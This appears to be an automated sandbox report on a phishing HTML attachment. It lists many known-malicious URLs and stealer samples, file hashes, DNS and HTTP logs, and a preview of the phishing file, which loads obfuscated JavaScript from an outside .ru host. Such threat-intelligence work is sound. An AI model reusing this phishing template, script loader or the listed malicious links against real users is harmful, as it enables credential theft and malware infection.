	https://postoffice.adobe.com/po-server/link/redirect?target=eyJhbGciOiJIUzUxMiJ9.eyJ0ZW1wbGF0ZSI6ImNjX2NvbGxhYl9kY3NoYXJpbmdfdmlld19lbWFpbCIsImVtYWlsQWRkcmVzcyI6ImJhc2FsaW5yZWljQGdtYWlsLmNvbSIsInJlcXVlc3RJZCI6ImZiNDJhMDI2LWFkYWMtNGUwNS01N2IyLWJiMTJmMWQ2ZjFmNSIsImxpbmsiOiJodHRwczovL2Fjcm9iYXQuYWRvYmUuY29tL2lkL3VybjphYWlkOnNjOlZBNkMyOmJkNjM3YjUxLTcwNmEtNDg4Ni05MjZkLTA2ZjM5NTI0YWZmMCIsImxhYmVsIjoiMTIiLCJsb2NhbGUiOiJlbl9VUyJ9.nBjy2vHS9kz9dh9gF6utGztizGQUAyT8p2Xs_LMlQGFyIPy7jWdbqBvo7EWIO0M0gFEWfg1FhrU_boE4Fc2VGw	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://broken-rain-1a74.1rwvvy66.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://rdtetsyutfuyfrxytf.azurewebsites.net/	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	https://portal.cpscompressors.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://collettre-7jk.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	http://email.instantbusinessresources.com/ls/click?upn=u001.TIY-2FPK2B26YDxpiFn13HurCJRQHHdpMpApsmoFIgfFrDSrIjjIK11lo5DmKpLTlHKys3_A3nRQoop3xGTTNLdbAlLJdIDscsCIbLgHPW8OKqDYR1n4lNyowtdVu010kj5jOKHoQLPsn5urXvT5kQ04yxcr8bUFuVja6J5nM7SoTs-2Fce-2Bc2zHKQdH9NyukE7l9wcTC0OcoaLYAH6sadShFYLfnMthTProcOYuZtFD5-2FhCBl3s1j8xwEOMT1Vc91EvX-2F8K3dNhpsgZ5knFHyV6lqiNIuprxoM6-2FWAXGBHSQIXxefr8zGyjBoGTSl0Dk3-2FQxUeSgEZPI12p4f7JR2NkdFS1hVc0IHdmIjYLpl-2Fz4xdunCju22H0Sdfq8D9P6-2FLvZ6R1FUZreRtH-2BH4Oht8Zgf7CpDDQLgw9arCRgBBoWrkkTeUJyIeAtH5MW9AZAJMvBellnx43-2BJseY0N3QSo3ibuJK-2FqWuzxN2WWBeSN7af80pFcvk-2FJ6VMjjAxXF4LbQ9vYdJUxHCq-2F8-2BQIwXB3tBMZKcpT-2FS6mIzUiYBKVje-2FE-2Fso-2F6Xnhv6zKhT70z-2Bgn0qHgKVyzc9Z4wfS6wz4-2F-2BvnplTnURqDQlYsDLnbV6Fv-2FviKlVpQPYyPSVBoekDunmV7ZaatAb703xdN2dyrRI2qoSbww-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://cloudflare-ipfs.com/ipfs/bafybeihkjt4gsklfdnc335uldxlj75xt7zosbql6psqmcfgevggavv2bgy/INBOX-Login.html#icrm39998@pec.carabinieri.it	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	FiddlerSetup.5.0.20242.10753-latest.exe.7z	Get hash	malicious	PureLog Stealer, zgRAT	Browse	104.17.24.14
	http://maryland.gov/	Get hash	malicious	Unknown	Browse	104.17.25.14
part-0012.t-0009.fb-t-msedge.net	https://981243.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.226.40
	https://ubhealth-my.sharepoint.com/:w:/g/personal/jenny_mason_ubhealthcare_co_uk/ESn5QzrvawJPuXYR4RRACvIBMPWOZSDndKyB6LYDahXWFw?e=4%3aXHPcee&at=9	Get hash	malicious	HTMLPhisher	Browse	13.107.226.40
	https://postoffice.adobe.com/po-server/link/redirect?target=eyJhbGciOiJIUzUxMiJ9.eyJ0ZW1wbGF0ZSI6ImNjX2NvbGxhYl9kY3NoYXJpbmdfdmlld19lbWFpbCIsImVtYWlsQWRkcmVzcyI6ImJhc2FsaW5yZWljQGdtYWlsLmNvbSIsInJlcXVlc3RJZCI6ImZiNDJhMDI2LWFkYWMtNGUwNS01N2IyLWJiMTJmMWQ2ZjFmNSIsImxpbmsiOiJodHRwczovL2Fjcm9iYXQuYWRvYmUuY29tL2lkL3VybjphYWlkOnNjOlZBNkMyOmJkNjM3YjUxLTcwNmEtNDg4Ni05MjZkLTA2ZjM5NTI0YWZmMCIsImxhYmVsIjoiMTIiLCJsb2NhbGUiOiJlbl9VUyJ9.nBjy2vHS9kz9dh9gF6utGztizGQUAyT8p2Xs_LMlQGFyIPy7jWdbqBvo7EWIO0M0gFEWfg1FhrU_boE4Fc2VGw	Get hash	malicious	Unknown	Browse	13.107.253.40
	https://www.bjvpza.cn/	Get hash	malicious	Unknown	Browse	13.107.253.40
	https://portal.cpscompressors.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.253.40
	https://document.mamabiller59.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.226.40
	https://worker-curly-silence-18d1.pistisarte.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.226.40
	https://pub-68c8c7ae0a9b4e62b5641da4fe04590d.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.226.40
	Premium Org Chart Generator_Someka V8.xlsm	Get hash	malicious	Unknown	Browse	13.107.253.40
	https://quiz.tryinteract.com/#/6616d475ab2cc50015573c84	Get hash	malicious	Unknown	Browse	13.107.253.40
code.jquery.com	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:8aab6872-0243-452f-9687-e0f8c079e494	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Certificate of Insurance 2023.shtml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://lookerstudio.google.com/s/pgWlVLRPJcs	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Play_Now.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://981243.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://ubhealth-my.sharepoint.com/:w:/g/personal/jenny_mason_ubhealthcare_co_uk/ESn5QzrvawJPuXYR4RRACvIBMPWOZSDndKyB6LYDahXWFw?e=4%3aXHPcee&at=9	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://broken-rain-1a74.1rwvvy66.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
stackpath.bootstrapcdn.com	https://rdtetsyutfuyfrxytf.azurewebsites.net/	Get hash	malicious	TechSupportScam	Browse	104.18.10.207
	https://portal.cpscompressors.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://gateway.lighthouse.storage/ipfs/QmZ6NQvhmz7zgyHjxGLuhffuLHH2BbUguoA55U9WcZHhLe#frontdesk@garnerorthodontics.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://cloudflare-ipfs.com/ipfs/bafybeihkjt4gsklfdnc335uldxlj75xt7zosbql6psqmcfgevggavv2bgy/INBOX-Login.html#icrm39998@pec.carabinieri.it	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://bafybeigjxmg3ulqmytt642sjwzluuvy7s2m2z4xbd4pqokaid5z3upavoi.ipfs.cf-ipfs.com/#robert.brightful@maryland.gov	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://warsecure5575777876432dfytuvbkjbjfrttdryujk55657yjnnf5.pages.dev/	Get hash	malicious	TechSupportScam	Browse	104.18.11.207
	https://malsecranx84os64bitcoresecwinxprofiles.azureedge.net/programfilesx86windows/contact.html	Get hash	malicious	TechSupportScam	Browse	104.18.10.207
	https://2ly.link/1xlBI	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://snog7sud46p5082i.azureedge.net/	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://farmacia-galindo.es/DHL/	Get hash	malicious	Unknown	Browse	104.18.10.207
maxcdn.bootstrapcdn.com	http://www.miltonhouse.nl	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://broken-rain-1a74.1rwvvy66.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://rdtetsyutfuyfrxytf.azurewebsites.net/	Get hash	malicious	TechSupportScam	Browse	104.18.11.207
	https://portal.cpscompressors.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://collettre-7jk.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://cloudflare-ipfs.com/ipfs/bafybeihkjt4gsklfdnc335uldxlj75xt7zosbql6psqmcfgevggavv2bgy/INBOX-Login.html#icrm39998@pec.carabinieri.it	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://bafybeigjxmg3ulqmytt642sjwzluuvy7s2m2z4xbd4pqokaid5z3upavoi.ipfs.cf-ipfs.com/#robert.brightful@maryland.gov	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://hello-world-square-dew-5dd3.bejeka6988.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://warsecure5575777876432dfytuvbkjbjfrttdryujk55657yjnnf5.pages.dev/	Get hash	malicious	TechSupportScam	Browse	104.18.11.207
	https://malsecranx84os64bitcoresecwinxprofiles.azureedge.net/programfilesx86windows/contact.html	Get hash	malicious	TechSupportScam	Browse	104.18.10.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://github.com/ytisf/theZoo/blob/master/malware/Binaries/Artemis/Artemis.sha256	Get hash	malicious	Unknown	Browse	185.199.108.154
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:8aab6872-0243-452f-9687-e0f8c079e494	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Certificate of Insurance 2023.shtml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	free-pdf-creator.exe	Get hash	malicious	Unknown	Browse	151.101.65.229
	https://yiod563zkz8o3x.blob.core.windows.net/yiod563zkz8o3x/1.html?4qhwvy8167VjYz242vffrhartbz938YRYGCGVWKKZIIRL45416MSZZ14335C15#15/242-8167/938-45416-14335	Get hash	malicious	HTMLPhisher	Browse	151.101.129.44
	https://lookerstudio.google.com/s/pgWlVLRPJcs	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Play_Now.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://streamviewspan.com/~am~/index.php	Get hash	malicious	HTMLPhisher	Browse	151.101.129.16
	https://981243.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://ubhealth-my.sharepoint.com/:w:/g/personal/jenny_mason_ubhealthcare_co_uk/ESn5QzrvawJPuXYR4RRACvIBMPWOZSDndKyB6LYDahXWFw?e=4%3aXHPcee&at=9	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
CLOUDFLARENETUS	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:8aab6872-0243-452f-9687-e0f8c079e494	Get hash	malicious	HTMLPhisher	Browse	104.21.23.32
	https://securepdffilesaccess%E3%80%82com/docx/#9380ZWxsaW90LmdhbGxAZGFjb3RhaGJhbmsuY29t??RBgN==94664=/..=L5QpUY&u=276b8dda4ef94158348d5b6b8&id=6b7205781d#&vg=008d8185-7421-4d39-a8ea-d6571496b99e&stid=14&pti=1&pa=20041&pos=0&p=525094&channelId=21280b5d95ea9121&s=lsfbx0rnvkkgxzgo1sbi4b3z&sgs=2004:15-17+F-150	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.245.203
	documento.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	http://criticalfacilitiessolutions.com	Get hash	malicious	Unknown	Browse	172.67.152.97
	free-pdf-creator.exe	Get hash	malicious	Unknown	Browse	104.17.25.14
	uF8wwjO0iU.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	OWrVfOdM62.rtf	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	https://yiod563zkz8o3x.blob.core.windows.net/yiod563zkz8o3x/1.html?4qhwvy8167VjYz242vffrhartbz938YRYGCGVWKKZIIRL45416MSZZ14335C15#15/242-8167/938-45416-14335	Get hash	malicious	HTMLPhisher	Browse	104.21.80.104
	https://corpsierramadre.com/	Get hash	malicious	Unknown	Browse	104.21.93.126
	access_version_x32-64_pack.exe	Get hash	malicious	Unknown	Browse	104.20.138.65
CLOUDFLARENETUS	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:8aab6872-0243-452f-9687-e0f8c079e494	Get hash	malicious	HTMLPhisher	Browse	104.21.23.32
	https://securepdffilesaccess%E3%80%82com/docx/#9380ZWxsaW90LmdhbGxAZGFjb3RhaGJhbmsuY29t??RBgN==94664=/..=L5QpUY&u=276b8dda4ef94158348d5b6b8&id=6b7205781d#&vg=008d8185-7421-4d39-a8ea-d6571496b99e&stid=14&pti=1&pa=20041&pos=0&p=525094&channelId=21280b5d95ea9121&s=lsfbx0rnvkkgxzgo1sbi4b3z&sgs=2004:15-17+F-150	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.245.203
	documento.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	http://criticalfacilitiessolutions.com	Get hash	malicious	Unknown	Browse	172.67.152.97
	free-pdf-creator.exe	Get hash	malicious	Unknown	Browse	104.17.25.14
	uF8wwjO0iU.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	OWrVfOdM62.rtf	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	https://yiod563zkz8o3x.blob.core.windows.net/yiod563zkz8o3x/1.html?4qhwvy8167VjYz242vffrhartbz938YRYGCGVWKKZIIRL45416MSZZ14335C15#15/242-8167/938-45416-14335	Get hash	malicious	HTMLPhisher	Browse	104.21.80.104
	https://corpsierramadre.com/	Get hash	malicious	Unknown	Browse	104.21.93.126
	access_version_x32-64_pack.exe	Get hash	malicious	Unknown	Browse	104.20.138.65
MICROSOFT-CORP-MSN-AS-BLOCKUS	Certificate of Insurance 2023.shtml	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	https://981243.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.226.40
	https://ubhealth-my.sharepoint.com/:w:/g/personal/jenny_mason_ubhealthcare_co_uk/ESn5QzrvawJPuXYR4RRACvIBMPWOZSDndKyB6LYDahXWFw?e=4%3aXHPcee&at=9	Get hash	malicious	HTMLPhisher	Browse	52.108.8.12
	PI No. LI-4325.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	52.175.38.24
	https://postoffice.adobe.com/po-server/link/redirect?target=eyJhbGciOiJIUzUxMiJ9.eyJ0ZW1wbGF0ZSI6ImNjX2NvbGxhYl9kY3NoYXJpbmdfdmlld19lbWFpbCIsImVtYWlsQWRkcmVzcyI6ImJhc2FsaW5yZWljQGdtYWlsLmNvbSIsInJlcXVlc3RJZCI6ImZiNDJhMDI2LWFkYWMtNGUwNS01N2IyLWJiMTJmMWQ2ZjFmNSIsImxpbmsiOiJodHRwczovL2Fjcm9iYXQuYWRvYmUuY29tL2lkL3VybjphYWlkOnNjOlZBNkMyOmJkNjM3YjUxLTcwNmEtNDg4Ni05MjZkLTA2ZjM5NTI0YWZmMCIsImxhYmVsIjoiMTIiLCJsb2NhbGUiOiJlbl9VUyJ9.nBjy2vHS9kz9dh9gF6utGztizGQUAyT8p2Xs_LMlQGFyIPy7jWdbqBvo7EWIO0M0gFEWfg1FhrU_boE4Fc2VGw	Get hash	malicious	Unknown	Browse	13.107.253.40
	Categories 30-04-2024.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.40
	vylI38MZOn.elf	Get hash	malicious	Mirai	Browse	191.237.255.108
	lNUsUO1sge.elf	Get hash	malicious	Mirai	Browse	20.10.177.118
	kZEtm29YCA.elf	Get hash	malicious	Mirai	Browse	40.127.68.169
	Gb5Zd5Ird3.elf	Get hash	malicious	Mirai	Browse	20.46.234.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://github.com/ytisf/theZoo/blob/master/malware/Binaries/Artemis/Artemis.sha256	Get hash	malicious	Unknown	Browse	23.221.254.90 52.165.165.26
	Dy4Oz8C1yF.exe	Get hash	malicious	Quasar	Browse	23.221.254.90 52.165.165.26
	cZOa7Yhm9e.exe	Get hash	malicious	Unknown	Browse	23.221.254.90 52.165.165.26
	JeQL3IfMod.exe	Get hash	malicious	Unknown	Browse	23.221.254.90 52.165.165.26
	Agreement.docx	Get hash	malicious	Unknown	Browse	23.221.254.90 52.165.165.26
	Certificate of Insurance 2023.shtml	Get hash	malicious	HTMLPhisher	Browse	23.221.254.90 52.165.165.26
	http://criticalfacilitiessolutions.com	Get hash	malicious	Unknown	Browse	23.221.254.90 52.165.165.26
	http://topquickly24.azurewebsites.net	Get hash	malicious	Unknown	Browse	23.221.254.90 52.165.165.26
	lwDnLkRVSb.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	23.221.254.90 52.165.165.26
	https://yiod563zkz8o3x.blob.core.windows.net/yiod563zkz8o3x/1.html?4qhwvy8167VjYz242vffrhartbz938YRYGCGVWKKZIIRL45416MSZZ14335C15#15/242-8167/938-45416-14335	Get hash	malicious	HTMLPhisher	Browse	23.221.254.90 52.165.165.26

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 1 16:04:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9954297822757856
Encrypted:	false
SSDEEP:	48:80Od8TAU9HgidAKZdA1FehwiZUklqehNy+3:80Fvkuy
MD5:	CFA7DE62D7A9EAFBA75ECD0B63AA4237
SHA1:	72A18B586C369E66516E6BC0BE5E8240E6F052BB
SHA-256:	49A029E381AD534C010D8067B8C6AEBCD8988F5FE7DCB9EE43ABB76B21E9E6CB
SHA-512:	FCB5D9683EB419D08C05FEA56107DA794FE0C86061AB06E90C6F1E817EB8F2D795AA4388E9D6876FC5C61AB4F6D94E730A9639F3B16DAA409B189AC02F6FE2B3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....w.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............}Y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

File type:	HTML document, ASCII text, with very long lines (365), with CRLF line terminators
Entropy (8bit):	4.576520085149005
TrID:	HyperText Markup Language (15015/1) 100.00%
File name:	Payment Transfer Receipt.shtml
File size:	501 bytes
MD5:	40fd69f8373a1f2e93f18eadf5c460d2
SHA1:	aac95f38e96bc0a0f0b573681dca4d266365c7c2
SHA256:	b1f1aa5dfc3344fb57f0ddc6c0f6c3ff45937fd96b31a177c4acc9a8d5ba1c8e
SHA512:	abbaa84222d7d09b5939460654e1e04de7e13ea950f67ff77a224b9181be8314367168bfafc5faa90165f439bc8701e0cc72dae5a4e3e31e294f8da77545fcb9
SSDEEP:	12:hax/Xffoyi5DuYzgKRVx8RaU+unm3W/823pN:ha9XYrLEaxunkW/82ZN
TLSH:	13F0525B19F846BC80CC7A4CF12CE30C04238B09991CE50CF4A80CAAC60F7A5CC5F14C
File Content Preview:	<!DOCTYPE html><html><head><script>.. var trgfeddwefrtgreds = "aib@aib.gov.uk";// remove email, and put ur mailer code..</script><script src="https://ty2rtvvkw&#51

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 19:04:24.771063089 CEST	53	63840	1.1.1.1	192.168.2.16
May 1, 2024 19:04:24.789141893 CEST	53	61015	1.1.1.1	192.168.2.16
May 1, 2024 19:04:24.807533979 CEST	54047	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:24.807842970 CEST	56302	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:25.278692961 CEST	53	54047	1.1.1.1	192.168.2.16
May 1, 2024 19:04:25.330092907 CEST	53	56302	1.1.1.1	192.168.2.16
May 1, 2024 19:04:25.361170053 CEST	53	49694	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.234371901 CEST	62760	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.234735012 CEST	52976	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.236790895 CEST	55804	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.236850977 CEST	60346	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.237869978 CEST	63948	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.238172054 CEST	54553	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.239195108 CEST	57667	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.239345074 CEST	57048	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.239715099 CEST	50474	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.239840031 CEST	51653	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:27.329226971 CEST	53	54147	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.329480886 CEST	53	52976	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.329951048 CEST	53	62760	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.331459999 CEST	53	60346	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.332345009 CEST	53	59362	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.332601070 CEST	53	55804	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.332979918 CEST	53	54553	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.334285021 CEST	53	57667	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.334670067 CEST	53	57048	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.335180044 CEST	53	50474	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.335607052 CEST	53	51653	1.1.1.1	192.168.2.16
May 1, 2024 19:04:27.840888977 CEST	53	49720	1.1.1.1	192.168.2.16
May 1, 2024 19:04:28.064960957 CEST	64173	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:28.065207958 CEST	59775	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:28.615596056 CEST	58024	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:28.615736961 CEST	54059	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:29.562074900 CEST	58159	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:29.596313953 CEST	51036	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:29.661575079 CEST	53	58159	1.1.1.1	192.168.2.16
May 1, 2024 19:04:29.691657066 CEST	53	51036	1.1.1.1	192.168.2.16
May 1, 2024 19:04:42.478219032 CEST	53	58590	1.1.1.1	192.168.2.16
May 1, 2024 19:04:57.486134052 CEST	63368	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:57.486283064 CEST	57145	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:58.497559071 CEST	63419	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:58.530492067 CEST	62086	53	192.168.2.16	1.1.1.1
May 1, 2024 19:04:59.975265026 CEST	53	56989	1.1.1.1	192.168.2.16
May 1, 2024 19:04:59.984395981 CEST	53	55519	1.1.1.1	192.168.2.16
May 1, 2024 19:05:00.724821091 CEST	61096	53	192.168.2.16	1.1.1.1
May 1, 2024 19:05:00.725008965 CEST	56914	53	192.168.2.16	1.1.1.1
May 1, 2024 19:05:01.450978994 CEST	53	52279	1.1.1.1	192.168.2.16
May 1, 2024 19:05:01.573653936 CEST	53	64727	1.1.1.1	192.168.2.16
May 1, 2024 19:05:01.606997967 CEST	53	52674	1.1.1.1	192.168.2.16
May 1, 2024 19:05:03.588443995 CEST	53	63164	1.1.1.1	192.168.2.16

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 19:04:58.200114965 CEST	429	OUT	GET / HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 1, 2024 19:04:58.300043106 CEST	280	IN	HTTP/1.1 307 Temporary Redirect Date: Wed, 01 May 2024 17:04:58 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: https://www.aib.gov.uk/ x-azure-ref: 20240501T170458Z-r1b85b66488px6d4d3k0urdzks00000009w000000001ahg6 X-Cache: CONFIG_NOCACHE

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:25 UTC	510	OUT	GET /gtrdwefrtgrewsa/rewergtrfd.js HTTP/1.1 Host: ty2rtvvkw343me.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:26 UTC	221	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:04:26 GMT Server: Apache Last-Modified: Sat, 13 Apr 2024 03:19:20 GMT Accept-Ranges: bytes Content-Length: 791526 Connection: close Content-Type: application/javascript
2024-05-01 17:04:26 UTC	7971	IN	Data Raw: 76 61 72 20 5f 30 78 34 66 66 39 37 31 3d 5f 30 78 32 39 38 37 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 39 38 37 28 5f 30 78 35 63 36 64 63 64 2c 5f 30 78 36 63 32 65 39 37 29 7b 76 61 72 20 5f 30 78 32 39 35 37 61 37 3d 5f 30 78 32 39 35 37 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 32 39 38 37 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 39 38 37 61 64 2c 5f 30 78 32 35 62 65 34 39 29 7b 5f 30 78 32 39 38 37 61 64 3d 5f 30 78 32 39 38 37 61 64 2d 30 78 39 32 3b 76 61 72 20 5f 30 78 31 32 39 33 39 66 3d 5f 30 78 32 39 35 37 61 37 5b 5f 30 78 32 39 38 37 61 64 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 32 39 33 39 66 3b 7d 2c 5f 30 78 32 39 38 37 28 5f 30 78 35 63 36 64 63 64 2c 5f 30 78 36 63 32 65 39 37 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 36 35 38 66 Data Ascii: var _0x4ff971=_0x2987;function _0x2987(_0x5c6dcd,_0x6c2e97){var _0x2957a7=_0x2957();return _0x2987=function(_0x2987ad,_0x25be49){_0x2987ad=_0x2987ad-0x92;var _0x12939f=_0x2957a7[_0x2987ad];return _0x12939f;},_0x2987(_0x5c6dcd,_0x6c2e97);}(function(_0x658f
